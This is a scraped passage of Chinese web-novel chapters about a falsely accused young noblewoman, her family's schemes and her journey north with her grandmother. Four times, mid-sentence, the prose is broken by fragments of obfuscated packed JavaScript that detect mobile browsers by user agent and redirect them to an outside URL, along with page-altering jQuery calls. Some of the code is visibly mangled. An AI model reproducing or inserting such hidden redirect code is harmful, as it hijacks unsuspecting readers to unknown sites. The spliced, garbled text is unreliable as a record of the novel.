雪后的清晨,天地间一片素白。萧语柔踏出房门,鹿皮靴子在积雪上发出轻微的吱呀声。 "七妹妹!"桂玥的声音从不远处传来。她脸颊被寒风吹得通红,眼中闪烁着掩不住的兴奋。今日是桂玥多年来首次受邀出门,她精心打扮了一番。大红撒花长裙衬得她格外亮眼,发髻上的朱钗在阳光下熠熠生辉。 桂玥挽住萧语柔的手臂,语气中带着些许讨好:"我什么都不懂,七妹妹可要多指点我啊。" 萧语柔淡然一笑,心中却明白桂玥的用意。她没有回答,只是轻轻点头。 院门口,桂琳已经在等候。她的装扮素雅简单,目光在桂玥和萧语柔身上一扫而过,便低下了头。不多时,穆氏带着桂雨霜和桂婉柔也到了。 马车缓缓驶来,桂琳突然开口:"我和七妹妹坐一辆吧。" 桂雨霜眉头微皱,显然对此安排不太满意。萧语柔察觉到了桂琳的用意,顺势道:"正好我有话想和五姐姐说。" 穆氏虽有不悦,但碍于萧语柔的县主身份,也只得默许。上了马车,桂琳犹豫片刻,低声提醒:"今日你要多加小心,尤其是三姐姐。" 萧语柔刚想追问,桂琳却已转头望向窗外,显然不愿多言。萧语柔心中疑惑,但也不便再问。 出了城,路边零星可见北地逃来的灾民,他们蜷缩在路旁,瑟瑟发抖。萧语柔掀开车帘,目光略带忧虑。桂琳轻声问:"朝廷会管的吧?" "天子脚下,自然会管。"萧语柔回答得不咸不淡,心中却在思索北地雪灾的严重程度。 马车停下,众人下车后直奔大雄宝殿上香。随后,一行人来到后山的桂香苑。满园梅花绽放,为这黑白世界增添了一抹生机。 穆氏被谷夫人唤去,萧语柔等人得以自由活动。桂玥兴致勃勃地拉着萧语柔四处张望,"七妹妹,我们去看那边的梅花吧!" 萧语柔婉拒道:"我昨夜睡得不好,不想走动。"说着,她寻了个显眼的位置坐下。 桂雨霜见状,心中焦躁,频频向穆氏投去求助的目光。穆氏却故作不见,自顾自地品茶。桂雨霜踌躇片刻,终是转身离去。 萧语柔望着她的背影,心中五味杂陈。 上辈子桂雨霜被穆氏利用致死,这辈子,恐怕也难逃一劫。 忽然,一声尖叫划破寂静。 第六十章 要个公道 "那是如儿的声音吗?"桂玥惊慌失措地往后退了几步。 如儿慌乱地跑回来,面色惨白。穆氏不悦地问:"何事如此慌张?" 如儿颤抖着想要回答,却在看到萧语柔的瞬间,指着她跌坐在地。众人闻声色变,纷纷与萧语柔拉开距离。桂玥犹豫再三,也跟着退开了。 如儿哭诉道:"是你,你为何要逼死我家小姐,还用那么下作的手段!" 紫萱冷声反驳:"我家小姐今日与三小姐并无接触,如何逼死她?" 如儿愤怒地瞪着萧语柔:"你会医术,对我们小姐下毒轻而易举,你今日故意与小姐保持距离,分明是做贼心虚!前些日子你骗我家小姐吃马齿苋饼,差点害她小产。如今你一计不成,又生此毒计!" 不多时,桂雨霜被人抬来,衣裙被鲜血浸染。她虚弱地瞪着萧语柔,声音嘶哑:"七妹妹,你为何如此害我!" 穆氏连忙吩咐:"快去叫大夫!"众人手忙脚乱之际,有人忍不住质问萧语柔:"乐宁县主,孩子何其无辜,你为何下此毒手?" 穆氏突然开口:"明萝,你是不是还觉得你父母之死与我有关?我已解释过,我远在龙都,不可能做什么手脚,你为何不信,还要对云芳下手?" 谷夫人皱眉道:"是非不分,恩将仇报,手段狠毒,世上怎么有你这样的女子?" 众人对萧语柔的不满瞬间达到顶点。 就在此时,长公主驾到。 桂雨霜痛苦地躺在临时收拾的榻上,有人立刻向长公主诉说:"公主殿下,您一定要主持公道啊!天理昭昭,这还是在寺庙,便有人下此狠手,这世上还有王法吗?" 萧语柔面对众人的指责,内心波澜不惊。她知道,这场精心策划的戏码,不过是为了将她推入万劫不复之地。 长公主的目光在众人脸上扫过,最后停在萧语柔身上。 "乐宁县主,你可有话说?"长公主的声音不疾不徐。 萧语柔缓缓起身,向长公主行礼:"回公主的话,臣女今日确实与三姐姐未有接触,至于其他指控,臣女实在莫名其妙。"她的语气平静,丝毫不见慌乱。 长公主微微点头,又问:"那你可知道桂雨霜为何会小产?" 萧语柔轻声答道:"臣女不知,不过,若公主允许,臣女倒是可以为三姐姐诊脉。" 此言一出,众人哗然。萧语柔的目光扫过在场众人,心中已有了计较。 桂雨霜痛苦地蜷缩在地上,脸色惨白如纸。她颤抖着声音恳求道:"长公主殿下,请您……还臣女一个公道。" 萧语柔站在一旁,神色平静如水。她的目光在桂雨霜身上停留片刻,随即转向高坐上首的长公主。 长公主微微蹙眉,目光在两人之间逡巡。"此事确实蹊跷,不可轻易下定论。"她轻抚额头,眉间隐现一丝疲惫。 穆氏急忙上前,跪地**:"殿下,臣妇有话说。" "说吧。"长公主微微颔首。 穆氏声音哽咽,眼中泪光闪烁:"无论真相如何,未出世的孩子已经无辜惨死。为表歉意,不如让明萝先在此跪下认错。" 众人纷纷点头附和,目光齐刷刷投向萧语柔。 萧语柔唇角微勾,眼中闪过一丝讥讽。 "跪?为何要跪?"她淡淡开口,声音清冷如冰。 穆氏脸色一变,强压怒火道:"你害**一条无辜的生命!" "证据呢?"萧语柔反问。 桂雨霜突然痛呼一声,捂住腹部蜷缩在地。大夫慌忙上前诊脉,面色骤变:"不好,大出血了!" 桂婉柔扑到姐姐身边,泪如雨下:"三姐姐,你快醒醒!" 萧语柔想上前查看,却被穆氏狠狠推开。 桂雨霜目光涣散,喃喃自语:"萧……救我……"话音未落,她便闭上了眼睛,再也没有醒来。 大夫颤抖着宣布:"人已经……走了。" 穆氏放声痛哭,跪倒在长公主面前。"殿下,臣妇已失去爱女,不愿再追究。"她抽泣着道:"只求殿下解除明萝与三皇子的婚约。" 长公主眉头紧锁,目光复杂地看向萧语柔。"你可认罪?"她沉声问道。 萧语柔直视长公主,眼中闪烁着坚定的光芒。 "我不认。"她一字一顿地说。 众人哗然,议论声四起。 "这丫头怎敢如此嚣张?" 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481816|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >"分明是心虚,还在狡辩!" 萧语柔置若罔闻,继续说道:"我要求彻查此事。"她顿了顿,目光如炬直视穆氏,"包括我父母的死因。" 穆氏脸色骤变,慌忙掩饰:"胡说八道!" 萧语柔冷笑一声:"既然舅母提起,不妨查个清楚。" 长公主若有所思,缓缓开口:"此事确实蹊跷。不如报官彻查,以正视听。" 穆氏面如土色,急忙阻拦:"殿下,这……" 萧语柔打断她的话:"我同意,让公堂来审理。" 她目光坚定,丝毫不惧:"我问心无愧。" 长公主点头:"也好,就这么办吧。" 穆氏心中暗叫不妙,强笑道:"明萝,你可要想清楚。" "我想得很清楚。"萧语柔淡淡回应:"我倒要看看,谁在背后布下这场大局。" 次日清晨,阳光透过窗棂洒落。萧语柔早已梳洗整齐,**案前。门外传来脚步声,她抬头望去。 桂成林阴沉着脸走了进来,目光如刀般锐利:"你可知罪?" 萧语柔起身行礼,面色平静:"不知父亲所指何事。" 桂成林冷笑一声:"装糊涂?你三姐一尸两命,你难辞其咎!" 萧语柔神色不变:"父亲可有证据?" 桂成林语塞,随即怒道:"众人皆知是你所为!" 萧语柔轻叹:"流言蜚语也能定罪吗?" 桂成林盯着她,目光如炬:"你当真不认?" "女儿何罪之有?"萧语柔直视他的眼睛,不卑不亢。 两人对峙良久,谁也不肯退让。 最终,桂成林冷哼一声:"你就在这禁足思过吧。"说完,他转身离去,重重关上房门。 院外,桂婉柔正焦急等待。见父亲出来,她连忙迎上去:"父亲,如何?" 桂成林摇头:"这丫头油盐不进。" 桂婉柔咬唇:"难道就这么算了?" 桂成林沉声道:"暂且静观其变。"说罢,他大步离去,留下桂婉柔一脸不甘。 她握紧拳头,眼中闪过一丝狠厉。"萧语柔,我不会让你好过的。"她低声呢喃。 第六十一章 准备离京 夜幕笼罩着侯府,萧语柔独坐庭院,指尖轻抚茶杯边沿。院子里一片寂静,只有远处传来微弱的虫鸣。 萧瑾悄然而至,脸色阴沉。 "姐姐,外头那些流言……"她欲言又止。 萧语柔抬眼看她,唇角微扬:"说来听听。" 萧瑾犹豫片刻,还是开了口:"都在说姐姐你……"她声音渐低,"勾结外人害**云芳姐姐。" 萧语柔闻言,眼中闪过一丝复杂。她轻叹一声:"随他们去吧。" "可是……" "无妨,"萧语柔打断她,"事情总会水落石出。林婆子那边如何?" 萧瑾撇嘴:"挨了顿打,什么都没说。" 萧语柔点头,正要说话,院门突然被推开。岑燕燕气冲冲地闯了进来,脸上写满愤怒。 "太过分了!"她一屁股坐下,"她们怎能如此诬陷你?" 萧语柔不动声色,起身为她沏茶。 "尝尝这个,"她将一杯茶递给岑燕燕,"我自制的菊花茶。" 岑燕燕接过,怒气稍减。她抿了一口,眉头舒展:"好香。" 萧语柔微笑:"喜欢就好。" 岑燕燕放下茶杯,脸色又沉了下来。她从袖中取出几个锦盒:"这是给你带的,还有谷柏托我转交的。" 萧语柔打开盒子,里面珠光宝气,皆是圆润珍宝。她目光一闪,悄悄将一颗玉珠收入玉璧。 "你喜欢这些?"岑燕燕问。 萧语柔点头,眼中闪过一丝难以察觉的异样:"圆润的珍宝,总是让人心生欢喜。" 萧语柔将岑燕燕赠送的圆润宝贝收入空间,内视之下,竟发现空间已扩大数倍。正当她暗自惊喜之际,窗外传来一阵刻意压低的声音。 "七妹妹?" 萧语柔轻笑,拉开窗户,钱忠那张略显局促的脸出现在眼前。 "二公子。"她淡淡开口。 钱忠挠了挠头,解释道:"前阵子去了乡下,今日才知你出事。放心,我们不信那些谣言。" 萧语柔神色不变:"此事与你们无关,不必费心。" "这是见外了啊。"钱忠故作不悦。 萧语柔凝视着他:"如若让你在我和四姐姐中选一个,你选谁?" 钱忠瞪大眼睛:"这不是送命题吗!" "那就不要管了。"萧语柔轻声道,"让大公子也别管,我心里有数。天色不早,你早些回去吧。" 话音未落,窗户已然合上。钱忠在外头又喊了几声,终是悻悻而去。 萧语柔静立窗前,眉头微蹙。她并非有意为难钱忠,只是不想让无关之人卷入这场风波。 萧语柔坐在梳妆台前,指尖轻抚那封来自叶成江的信。老夫人的话言犹在耳:"我想将他接回龙都来。" 这简单的一句话背后,隐藏着多少算计与谋划?萧语柔轻叹一声,将信折好放入袖中。 "小姐,老夫人请您过去。"门外传来丫鬟的声音。 来到福寿堂,老夫人正坐在窗边等候。 "萝儿,来了。"老夫人的声音温和却不容置疑。 萧语柔行礼:"外祖母。" "你看过信了,有什么想法?"老夫人开门见山。 萧语柔低头沉吟片刻,抬眼道:"小舅舅回京确实是个好主意,但时机很重要。" 老夫人示意她继续。萧语柔缓缓分析利弊,字字珠玑。说完后,屋内一时寂静,只有檐下风铃轻响。 良久,老夫人开口:"萝儿,你长大了。"她伸手抚摸萧语柔的发丝,"你说得对,我们要等待最佳时机。" 萧语柔抬头,对上老夫人慈爱而信任的目光:"外祖母放心,孙女一定会好好安排。" 老夫人点头:"去吧,好好休息。" 回到静园,萧瑾已等候多时。"姐姐,怎么样了?" 萧语柔轻摇头:"暂时安稳。"她看向窗外的月色,"但风雨将至。" 萧瑾皱眉:"要我做什么?" "继续盯着桂成林,"萧语柔道,"他现在是惊弓之鸟,难保不会做出什么傻事。" 萧瑾点头应下。萧语柔转身,目光落在案头的棋盘上。她轻轻拿起一枚黑子,在指间把玩。 "这盘棋,才刚刚开始。"她喃喃自语。 次日一早。 院中传来窸窣脚步声,她微微侧首。 "小姐,老夫人唤您过去。"丫鬟轻声禀报。 萧语柔颔首,迈步向福寿堂走去。老夫人端坐榻上,眉宇间透着疲惫。 "萝儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481817|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。"老夫人招手示意她坐近,"我要去一趟北地。" 萧语柔眉头微蹙:"外祖母,北地严寒,路途遥远……" "只有我去,才能让他名正言顺回来。"老夫人神色坚定,"没有比护送病重嫡母返京更好的理由了。" 萧语柔沉吟片刻:"那我与外祖母同去。" 老夫人惊讶地看着她,随即露出欣慰的笑容:"也好,有你陪着,我也安心些。" 次日清晨,府中已是另一番景象。穆氏被休,春蝶却意外得宠。萧语柔听闻消息,眼中闪过一丝复杂。 老夫人派人来请,萧语柔整理衣裳赶去。 "萝儿,我们五日后启程。"老夫人说道。 萧语柔点头:"外祖母放心,我已经准备妥当。" 老夫人欣慰地看着她:"你总是这般懂事。" 萧语柔低头,掩去眼中的情绪。 静园里,萧语柔看着萧瑾那副小孩儿脾气,不禁莞尔。她轻声道:"过阵子我们离京。" 萧瑾眉头瞬间拧在一起,眼中闪过一丝犹豫。"离京?" "怎么,你在龙都还有事?"萧语柔挑眉问道。 萧瑾低头咬了咬唇,含糊不清地说:"也不是什么大事。" "那是什么事?"萧语柔追问。 萧瑾小心翼翼地抬眼瞄了萧语柔一眼,见她目光灼灼地盯着自己,又赶紧低下头,嗫嚅道:"我……我要找人。" "找人?"萧语柔眼中闪过一丝了然,"不是找我吧?" "找仇人。"萧瑾咬着唇,声音几不可闻。 萧语柔看着他这股倔劲儿,生怕他把嘴唇咬破。她隐约觉得萧瑾的事似乎与自己有关,但为了不耽搁北地之行,暂时按捺住了好奇心。 "去吧,催促杨树快些办好行程。"萧语柔轻声说道。 "嗯。"萧瑾闷闷地应了一声。 萧语柔见他兴致不高,笑着从空间里取出一盘点心。这是府里早上新出炉的,香气四溢。她原本想留给萧瑾,却在拿出来时愣了一下。 点心依旧冒着热气,仿佛刚出炉一般。萧语柔心中一动,若有所思。她不经意间将一块送入口中,这才回过神来。 萧瑾眼巴巴地看着,又馋又委屈,握紧了手中的剑。 第六十二章 惊险 萧语柔失笑,将剩下的递给他,又叮嘱道:"对了,从今日起,你每日去春风楼叫一桌席面。" 萧瑾接过点心,疑惑地看着萧语柔:"姐姐,为何要天天去春风楼?" 萧语柔眼中闪过一丝狡黠:"自有用处,你且照做便是。" 萧瑾似懂非懂地点点头,转身离去。 萧语柔望着萧瑾的背影,轻叹一声。她细细盘算着手中的银钱,眉头微蹙。虽从老夫人和岑陌那里拿了些钱,但大多用于购买米粮药材,实在不敢挥霍。 她抚摸着胸前的金镯,心中暗暗盘算。这空间的神奇之处,或许能在北地之行中派上用场。 夜幕降临,萧语柔独坐庭院,仰望星空。北地的寒风仿佛已经吹到她的面颊,她不禁打了个寒颤。 "岑陌……"她轻声呢喃,眼中闪过一丝担忧。 翌日清晨,萧语柔刚用过早膳,就听下人禀报说谷家人来访。 谷将军神色尴尬,被谷夫人拉着坐在一旁默不作声。谷霜去看望桂婉柔,谷柏则花了些银子让人叫来了萧语柔。 "七妹妹。"谷柏远远地朝她招手。 萧语柔对谷柏并无恶感,尤其是上次他让岑燕燕带来不少玉珠,她心中还存着几分感激。 "谷公子。"萧语柔微微颔首。 谷柏上下打量着她,摇头叹息:"你最近都憔悴了。别想太多,你舅母被休的事,外面那些流言蜚语转眼就变了风向。就算三皇子知道了,也不会怪罪于你。" 萧语柔诧异地看着他。穆氏毕竟是他的姨母,他不来兴师问罪也就罢了,怎么反倒还有几分喜色? 谷柏见状,尴尬地摸了摸鼻子,凑近低声道:"其实我一直不太喜欢这位姨母。你看看她把婉柔表妹教成什么样子了?" 萧语柔若有所思地点点头,转而问道:"谷公子还有别的事吗?" 谷柏欲言又止,最终只是摇摇头:"也没什么大事……" 萧语柔看他欲言又止的模样,心中一动,主动说道:"我和外祖母过些日子要去澄江县探望小舅舅。" 谷柏眼前一亮:"啊,那不是北地吗?你们岂不是会见到三皇子?" 萧语柔摇头叹息:"北地如今局势动荡,灾情严重。连龙都都有大批流民涌入,可见情况有多糟糕。恐怕见不到三皇子。" 谷柏闻言,眉头紧锁:"当真如此严峻?" "三皇子的来信中只说了平安。"萧语柔意有所指地看着谷柏,"想必他是不愿让家人担心。" 谷柏若有所思地点点头。 萧语柔见状,并未多说什么,只是将北地和岑陌的处境娓娓道来。若谷柏心中还存有建功立业、护佑百姓之心,自会明白该如何行动。 几天后,萧语柔来到定远侯府为钱涛针灸。刚要告辞,钱涛却追了出来,拦在芳菲门下。 "七妹妹,你过几日就要离府了,我想为你践行。"钱涛笑着说,眼中闪烁着期待的光芒。 萧语柔微微蹙眉,往后退了一步,委婉地说:"我很快就会回京,不必这么麻烦。" 钱涛却像没听懂似的,自顾自地说:"就安排在明月阁吧,我还请了府里几位妹妹一起,你别担心。" 萧语柔张了张嘴,还想说什么,钱涛却已转身离去。她无奈地叹了口气,心想到时再想办法推脱。 刚出芳菲门,萧语柔就遇到了沈氏。沈氏眼中闪过一丝复杂的情绪,语气不咸不淡:"多谢县主为我儿看病,我准备了些首饰,不知合不合心意。" 萧语柔心领神会,淡然一笑:"夫人客气了。" "大夫登门尚有诊金,不算客气。"沈氏语气微冷。 萧语柔明白她是在划清界限,坦然道:"那明萝就却之不恭了。"说完,转身离开。 回府的路上,萧语柔心不在焉地把玩着沈氏赠送的珠宝。紫萱见状,忍不住小声抱怨:"奴婢只是觉得好人没好报,好心当做驴肝肺。" 萧语柔轻笑,"好心怎么没有好报,这不是么?"她指了指匣子里的珠宝。 紫萱还想说什么,却突然察觉到四周异常安静。她警惕地看向窗外,"小姐,怎么这么安静?" 萧语柔也察觉到不对劲,掀开车帘一看,眼前景色与回府的路截然不同。她心头一紧,低声对紫萱说:"我们好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481818|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走错路了。" 紫萱紧张地问:"要不要让车夫停下来问问路?" 萧语柔摇头,"先别惊动他们,我们悄悄观察一下情况。"她仔细打量着周围的环境,脑中飞快地思考着对策。 这条陌生的小路越走越偏僻,萧语柔的心也越来越沉。她暗暗握紧了袖中的暗器,做好了随时应对的准备。 就在这时,马车突然停了下来。萧语柔和紫萱对视一眼,都看到了对方眼中的担忧。 "小姐,奴婢去看看怎么回事。"紫萱小声说。 马车疾驰而过,卷起尘土飞扬。萧语柔双手紧握缰绳,指节因用力而泛白。她瞥了眼昏倒的车夫和紫萱,心知有人设局。 "萧瑾!"她喊道,声音里带着一丝颤抖。往常一声就会出现的人影此刻却不见踪影,萧语柔意识到他必然是被引开了。 眼看前方人群密集,她高声喊道:"闪开!快让开!"声音中透着焦急和恐惧。 岑燕燕正在酒楼用膳,突然听到熟悉的声音。她探头一看,只见萧语柔正在那辆失控的马车上。 "快,拦住那辆马车!"岑燕燕喊道,声音里满是担忧。 王府护卫闻言立即行动,几个起落便控制住了受惊的马。岑燕燕提着裙摆赶来,看到萧语柔面色苍白的模样,不由得皱眉。 "你这是怎么回事?"她忍不住问道,语气中带着关切。 萧语柔勉强挤出一丝苦笑,摇了摇头。她的目光扫过周围,突然看到了人群中的谷霜。 谷霜一眼就看到了昏迷的紫萱,眉头紧锁:"你手受伤了,先去看大夫吧。" 萧语柔轻轻摇头:"不必了,我想先回府。"她的声音很轻,仿佛在克制着什么。 有人看不惯,嘲讽道:"雪儿好心提醒,你倒像是被冤枉了似的。" 岑燕燕听不下去:"你哪只眼睛看到明萝冤枉她了?"她的声音里带着怒意。 那人是赵明远的表妹,自然不怕岑燕燕:"她这态度不就是那个意思吗?" 萧语柔拦住想要争辩的岑燕燕,她现在只想尽快离开。"郡主,劳烦你的人当一回车夫吧。" 第六十三章 离京 岑燕燕刚要应下,就听赵明远对谷霜温声道:"雪儿,我送你回府吧。" 岑燕燕咬着下唇,心中酸涩:"这外头不太平,你怎么不说送我?"她的声音里带着掩饰不住的失落。 赵明远面露不悦,却还是说:"郡主既然喜欢,我们也不好阻拦。" 萧语柔见状,轻轻拉了拉岑燕燕的衣袖:"不如你送我回府吧,三皇子刚送来了雕刻品。" 岑燕燕眼前一亮:"三皇兄真的给你刻了东西?"她的语气突然变得兴奋起来。 她呜咽着上了马车,留下一众惊讶的人。表妹暗自咋舌:"三皇子竟然真的亲手雕刻给她?" 赵明远冷眼瞥来,她立刻改口:"定是萧语柔胡说的,故意炫耀罢了。" 谷霜沉默着准备回府,婉拒了赵明远的护送。 萧语柔回到侯府,手上的伤已经好得差不多了。岑燕燕却在一旁抽泣不止,萧语柔让人打来热水给她洗脸。 等岑燕燕平静下来,萧语柔才拿出岑陌送来的雕刻品。那是一只巴掌大的木雕鸾鸟,惟妙惟肖,显然倾注了心血。 岑燕燕一见,又趴在桌上哭起来:"三皇兄怎么这么好。"她的声音里满是羡慕和感动。 萧语柔认真思考片刻,说:"主要是参照物太差了。"她的语气平淡,却让岑燕燕愣了一下。 岑燕燕叹气,想起赵明远对她的冷淡,心中更是难过。"其实我和他也算青梅竹马。"她开始回忆往事,眼中带着水光。 "有一次他掉水里差点淹死,还是我救的他呢。"岑燕燕说着,脸上浮现笑意,仿佛又回到了那个快乐的时光。 最后她轻叹一声:"谁让我喜欢他呢。"声音里满是无奈。 萧语柔想劝她,却知道此时说什么都是徒劳。她看着岑燕燕,心中不忍,正要开口,定远侯府的人却来了。 钱涛和镇国公亲自前来,为出事的马夫道歉。萧语柔借机称病,推掉了钱涛的践行酒。她的眼中闪过一丝警惕,显然不想与对方有太多接触。 老夫人得知此事,连忙唤萧语柔到福寿堂。她仔细检查萧语柔的手,确定无碍后将孙女搂入怀中。 祖孙俩静静相拥,无需多言。萧语柔感受着老夫人的温暖,心中却是一片冰凉。她知道,京中虎视眈眈之人太多,她们如今势单力薄,只能互相扶持。 翌日。 萧语柔站在锦绣坊门前,目光扫过熙攘的街道。她推门而入,熟练地向柜台走去。 "公主又来买包子?"掌柜笑着迎上前。 萧语柔微微颔首,接过递来的食盒。刚踏出锦绣坊,一家成衣铺子引起了她的注意。橱窗里陈列着粗布棉衣,价格低廉。 她眉头微蹙,随即迈步而入。"这些棉衣,我全要了。" 掌柜惊喜不已,连声应是。萧语柔又添了几床棉被,一并送往马车。 沿街而行,她的目光敏锐地搜寻着。在菜市场,她挑了几套结实耐用的锅碗瓢盆。 萧瑾早已等在马车旁,见姐姐回来,忙迎上前。"姐姐,又买这么多东西?" 萧语柔没有回答,只是轻轻摸了摸弟弟的头。上了马车,她凝视窗外,眼中闪过一丝复杂的情绪。 夜幕低垂,萧瑾悄悄潜出府门。他本欲前往长公主府,却不料看见桂婉柔鬼鬼祟祟地出了门。 犹豫片刻,萧瑾决定跟上去。桂婉柔进了穆府,他在外静候。不多时,只见桂婉柔慌慌张张地跑出来,刚进巷子就被人推进一辆陌生马车。 萧瑾正要上前,却听到车内传出异样声响。他顿时面红耳赤,连忙逃离现场。 回府路上,萧瑾心中充满疑惑。他想起姐姐的叮嘱,决定将此事告知她。 萧语柔听完弟弟的叙述,眉头微皱。"此事暂且不要声张。"她低声道。 "姐姐,那些人真的不用管吗?"萧瑾忧心忡忡地问。 萧语柔摇头,目光深远。"有些事,不是我们能左右的。" 萧瑾似懂非懂,但他相信姐姐的判断。 萧语柔走到窗前,望着漆黑的夜色。她心中有太多盘算,却无人可以倾诉。远处传来几声犬吠,打破了夜的寂静。 "明日还有许多事要做,早些休息吧。" 萧瑾乖巧地点头,退出了姐姐的房间。 次日清晨,萧语柔早早起身。 "姐姐。"萧瑾走来,递上一杯热茶。 萧语柔接过,轻抿一口。"今日我们去见一位故人。" 萧瑾点头,不再多问。 临近午时,二人来到一处偏僻宅院。萧语柔轻叩门扉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481819|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面传来沙哑的声音:"进来。" 屋内昏暗,一位老者坐在案前,正慢条斯理地磨着一柄**。 "许久不见,大人可好?"萧语柔拱手行礼。 老者抬眼,目光如炬。"你来了。" 萧语柔点头,直入主题:"我需要您的帮助。" 老者放下**,神色凝重:"你可知这意味着什么?" 萧语柔深吸一口气:"我知道。但我别无选择。" 老者沉默良久,终于缓缓点头:"说吧,你需要什么?" 萧语柔从怀中取出一封信,递给老者。"请您将这封信交到三皇子手中。" 老者接过信,眉头微皱:"你可想清楚了?这一步走出去,就再无回头路。" 萧语柔眼中闪过一丝痛萧,但很快被坚定取代:"我已决定。" 老者叹息一声,将信收好:"我会尽快派人送去。" 萧语柔深深一揖:"多谢大人。" 离开时,萧瑾忍不住问:"姐姐,我们这是在做什么?" 萧语柔摸了摸萧瑾的头:"我们在下一盘很大的棋。" 春日的阳光洒在江面上,波光粼粼。一艘华贵的船只缓缓驶过,萧语柔立于船头,目光远眺。微风拂过她的发丝,她的眼中闪过一丝深思。 "小姐,老夫人唤您。"紫萱轻声禀报。 萧语柔微微颔首,转身向船舱走去。老夫人正倚靠在软榻上,见外孙女进来,眼中闪过一丝关切。 "萝儿,可是有事?"老夫人问道。 萧语柔抿了抿唇,道:"我想路过洛阳时,在港口停一下。" 老夫人眼中闪过一丝了然,点点头:"便以替我买药的借口下船吧,不过不能停太久,以免惹人怀疑。" 萧语柔应下,转身离去。老夫人望着她的背影,眼中闪过一丝忧虑。她知道自己这个外孙女聪明过人,但如今身份敏感,又要往西陲去,难保不会被有心人利用。 半日后,船只停靠洛阳。萧语柔下船后,先去药铺买了药,然后从后堂出来,随梨竹去了他买下的仓库。 仓库门一开,萧语柔微微一怔。里面的米少说也有一百五十石左右,约一万七千斤。虽对西陲庞大的灾民来说杯水车薪,但总能让一部分人吃饱饭。 第六十四章 小舅舅 "你继续收陈米,不止洛阳,周边县城的也都收。"萧语柔对梨竹说道,"等到陈米的价格达到十文,你就可以停止收购了。然后雇人雇船队,将米粮慢慢运往西陲。" 梨竹眼中闪过敬佩之色,暗道小姐真乃神人也!萧语柔见状,轻声解释:"只是凑巧罢了。" 待梨竹离开后,萧语柔将米粮和药材悄然收入空间。看着空间内堆积如山的物资,她心中微微一叹。这段时间大量收集圆润宝石,得以让空间扩大数倍,否则还真带不走这些东西。 返回船上后,萧语柔问萧瑾:"有人跟着吗?" "有,不过有我在,他们不敢靠太近。"萧瑾回答。 萧语柔眸中闪过一丝冷意,明泽公主已经急不可耐了。不过在龙都境内,她应该不会轻易动手。 夜幕降临,江面上雾气渐起。萧语柔站在甲板上,手中把玩着岑陌送她的木雕小鸾鸟。烛光映照下,她的眼中闪过一丝柔和。 "积石如玉,列松如翠,言念君子,温其如玉。"她轻声吟诵,唇角勾起一抹浅笑。 第三日,江面上的船只多了起来。两只小船一左一右跟在他们船后,一只船远远缀在前头,形成夹角之势。 萧语柔站在甲板上,轻抿着茶,眼中闪过一丝不易察觉的笑意。 "萧瑾,"她唤道,"我教你准备的东西,都备好了吗?" "姐姐放心。"萧瑾胸有成竹地回答。 萧语柔浅笑,今晚,怕是有一场好戏要上演了。 天色渐暗,三艘小船悄然逼近。王虎冷笑着看向萧语柔的大船:"真是一群温室里养大的,不知江湖险恶。吃吧吃吧,等**,可就什么也吃不下了。" "李爷,上头交代过,不可轻视船上的人。"一旁小弟提醒道。 王虎不屑一顾:"不就是几个女人,怕什么?一会儿上船了,把那个最好看的给李爷我留着。" 夜色渐深,王虎换上夜行衣,准备强行登船。然而,就在此时,大船上忽然飞来几支点燃的箭矢。紧接着,一道身影手提两个桶飞掠而至,将火油泼洒在他们船上。 "是火油!"有**喊。 三艘小船瞬间燃起熊熊烈火。王虎大喊:"跳水!" 三十余人纷纷跳入江中,向萧语柔的船只游去。王虎咬牙切齿,暗骂这狡猾的丫头居然算计到他们头上。 然而,等待他们的却是早已准备多时的萧瑾和侯府护卫。刀光剑影中,王虎等人节节败退,最终无一人能登上大船。 萧语柔站在船头,冷眼旁观这一切。月光下,她的眼中闪过一丝冷意,却又很快隐去。 朱县令站在码头,额头渗出细密的汗珠,心中暗自庆幸没有露出马脚。 萧语柔缓步下船,目光在朱县令脸上一扫而过。她嘴角微勾,眼底闪过一丝不易察觉的精明。 "朱大人真是慷慨啊,"萧语柔笑意盈盈地说道,"这么多粮食,定能救济不少灾民。" 